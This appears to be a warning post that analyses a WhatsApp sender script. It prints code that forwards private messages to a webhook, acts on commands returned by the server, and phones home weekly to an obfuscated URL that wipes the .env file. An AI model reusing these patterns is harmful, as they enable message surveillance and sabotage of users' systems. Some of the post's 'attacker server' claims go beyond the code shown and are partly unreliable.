📲 Since nobody had the WhatsApp Script, i saw a "whatsapp sender" that did similar things: sock.ev.on("messages.upsert", async (messageData) => { try { const message = messageData.messages[0]; if (message.key.fromMe === false && messageData.type === "notify") { const webhookData = []; let messageText = message.message.conversation ?? null; if (message.message.buttonsResponseMessage != null) { messageText = message.message.buttonsResponseMessage.selectedDisplayText; } if (message.message.listResponseMessage != null) { messageText = message.message.listResponseMessage.title; } const remoteParts = message.key.remoteJid.split("@"); const remoteType = remoteParts[1] ?? null; const isGroup = remoteType !== "s.whatsapp.net"; if (messageText !== "" && !isGroup) { webhookData.remote_id = message.key.remoteJid; webhookData.sessionId = sessionId; webhookData.message_id = message.key.id; webhookData.message = messageText; sentWebHook(sessionId, webhookData); } } } catch (error) { // Handle error silently } }); What's stolen: Every incoming private message (non-group) with: ▶️Who sent it (phone number) ▶️What they said ▶️Message metadata ▶️Which victim account received it REMOTE COMMAND EXECUTION const sentWebHook = (sessionId, data) => { const webhookUrl = process.env.APP_URL + "/api/send-webhook/" + sessionId; try { axios.post(webhookUrl, { from: data.remote_id, message_id: data.message_id, message: data.message }).then(function (response) { if (response.status === 200) { const session = getSession(response.data.session_id); sendMessage(session, response.data.receiver, response.data.message); // ^ ATTACKER CAN REMOTELY SEND MESSAGES FROM YOUR ACCOUNT } }) } } What happens: ▶️Script sends stolen message to attacker's server ▶️Attacker's server responds with commands ▶️Script executes commands (send messages, etc.) SESSION STATUS REPORTING const setDeviceStatus = (sessionId, status) => { const statusUrl = process.env.APP_URL + "/api/set-device-status/" + sessionId + "/" + status; try { axios.post(statusUrl) // REPORTS WHEN SESSIONS ARE CREATED/DELETED } } setDeviceStatus(sessionId, 0); What's stolen: Real-time status of all compromised accounts: ▶️When they come online/offline ▶️When sessions are created/deleted ▶️Which accounts are active LICENSE CHECK & SELF-DESTRUCT setInterval(() => { const licenseUrl = "kcehc-yfirev/ipa/zyx.sserpl.ipaved//:sptth".split("").reverse().join(""); // Decodes to: "https://dev-panel.xyz/api/verify-check" axios.post(licenseUrl, { from: appUrl, // Your server URL key: siteKey // Your license key }).then(function (response) { if (response.data.isauthorised === 401) { fs.writeFileSync(".env", ""); // SELF-DESTRUCTS YOUR CONFIG } }) }, 604800000); // Every 7 days What happens: ▶️Script phones home every 7 days to attacker's server ▶️If attacker marks you as unauthorized ▶️Script DELETES your .env file (destroys your configuration) SESSION FILE THEFT if (!isLegacy) { ({ state: authState, saveCreds } = await useMultiFileAuthState(getSessionsDir(sessionFileName))); } What's stolen locally (in ./sessions/ folder): ▶️creds.json - MASTER encryption keys ▶️app-state-sync-*.json - Chat encryption keys ▶️sessions/*.json - Individual chat session keys ▶️[sessionId]_store.json - Chat history and contacts These files contain everything needed to clone the WhatsApp session. USER SCANS QR CODE ↓ [1] Script captures WhatsApp auth tokens ↓ [2] Saves tokens locally (./sessions/) ↓ [3] Reports "device online" to attacker ↓ [4] Every incoming message → ↓ [5] Extracts: [who][what][when] ↓ [6] Sends to: https://[ATTACKER_SERVER]/api/send-webhook/ ↓ [7] Attacker can respond with commands ↓ [8] Script executes commands (send messages, etc.) ↓ [9] Every 7 days → Phone home for authorization ↓ [10] If unauthorized → Delete .env file (self-destruct)